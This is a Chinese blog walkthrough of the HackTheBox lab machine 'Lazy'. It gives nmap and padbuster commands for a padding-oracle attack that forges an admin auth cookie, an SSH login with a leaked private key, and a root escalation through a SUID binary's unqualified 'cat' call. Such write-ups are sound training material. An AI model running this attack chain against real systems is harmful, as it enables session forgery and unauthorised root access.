当前位置: 首页 > news >正文

HackTheBox-Machines--Lazy


Lazy测试过程

1 信息收集


1.端口扫描

发现 SSH(22)、HTTP(80)端口

nmap -sC -sV 10.129.159.51

在这里插入图片描述

2.访问 80 端口

在这里插入图片描述

  1.页面中存在注册功能,测试注册功能

在这里插入图片描述

  页面返回登录页面及用户名

在这里插入图片描述

  使用burpsuite观察注册请求 /register.php

在这里插入图片描述

  2.cookie 测试

  登录请求 /index.php,观察cookie,auth不是标准的 PHP 会话管理 cookie,测试auth

在这里插入图片描述

  测试auth,在更改auth的值后,响应显示 Invalid padding,根据响应,猜测可能存在 padding 漏洞

在这里插入图片描述


2 padding 攻击


1.padding oracle攻击技术

  padding oracle攻击技术 是指使用密文的填充验证信息来进行解密的攻击方法。密码学中,可变长度的明文信息通常需要经填充后才能兼容基础的密码原语。

  攻击者可以拦截加密算法加密的消息。通过padding oracle攻击技术,在不清楚 key 和 IV 的前提下解密任意给定的密文。

  使用padbuster工具进行测试:

http://10.129.139.45/index.php
[EncryptedSample] -- Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT一个有效的 cookie
[BlockSize] - 8,一般为 816-cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT -- 向 padbuster 传递数据的存放位置
-encoding 0 -- base64
padbuster http://10.129.139.45/index.php Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT 8 -cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT encoding 0

在这里插入图片描述

在这里插入图片描述

  使用 padbuster工具加密admin

padbuster http://10.129.139.45/index.php Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT 8 -cookies auth=Joak7LI%2Bz9Qvv4hc9LhTYxDOk%2FyzkSyT encoding 0 -plaintext user=admin

在这里插入图片描述

在这里插入图片描述


获取权限


  获取到新的cookie,使用cookie进行登录,替换cookie,刷新/index.php

BAitGdYuupMjA3gl1aFoOwAAAAAAAAAA

在这里插入图片描述

  使用admin账户登录成功,页面URI显示用户为 mitsos,及一个RSA私钥

在这里插入图片描述

SSH登录

chmod 600 id_rsa 
ssh -i id_rsa mitsos@10.129.139.45

在这里插入图片描述


3 权限提升


在这里插入图片描述

  在 mitsos 的主目录中有一个 根 SUID 二进制文件backup ,以及 cat 命令,运行backup,它输出的内容类似于 /etc/shadow,该文件只能由 root 读取

在这里插入图片描述
在这里插入图片描述

  因为suid程序正在调用cat命令,我们可以编辑cat使用sudo权限打开/bin/sh

在这里插入图片描述

相关文章:

  • 大聪明教你学Java | 深入浅出聊 Stream.parallel()
  • 【面试题】JavaScript基础高频面试(上)
  • 在SpringBoot项目中实现切面执行链功能
  • 【SQL学习进阶】从入门到高级应用【三范式】
  • ChatGPT AI专题资料合集【65GB】
  • [补题记录]LeetCode 167.两数之和 II - 输入有序数组
  • 【自己动手】自制刷题系统(php+layui应用 社区工作者题库)
  • 24年护网工具,今年想参加护网的同学要会用
  • 深度学习训练时混合精度的作用
  • 如何使用AES128位进行视频解密
  • Leetcode:字符串转换整数 (atoi)
  • 软件开发整体介绍
  • Java中连接Mongodb进行操作
  • iOS Hittest 机制和实际应用之一 hittest方法
  • 【魅力网页的背后】:CSS基础魔法,从零打造视觉盛宴
  • ChatGPT-3
  • 【开源】新生报到网站 JAVA+Vue.js+SpringBoot+MySQL
  • 【原创】springboot+mysql员工管理系统
  • springboot基础及上传组件封装
  • 数据结构-堆(带图)详解
  • 理财经理泄露客户信息案进展:湖南省检受理申诉,证监会交由地方监管局办理
  • 游客称在网红雪山勒多曼因峰需救援被开价2.8万,康定文旅:封闭整改
  • 长三角地区中华老字号品牌景气指数发布,哪些牌子是你熟悉的?
  • 北上广深均宣布下调个人住房公积金贷款利率
  • 马新民卸任外交部条约法律司司长
  • 首届上海老年学习课程展将在今年10月举办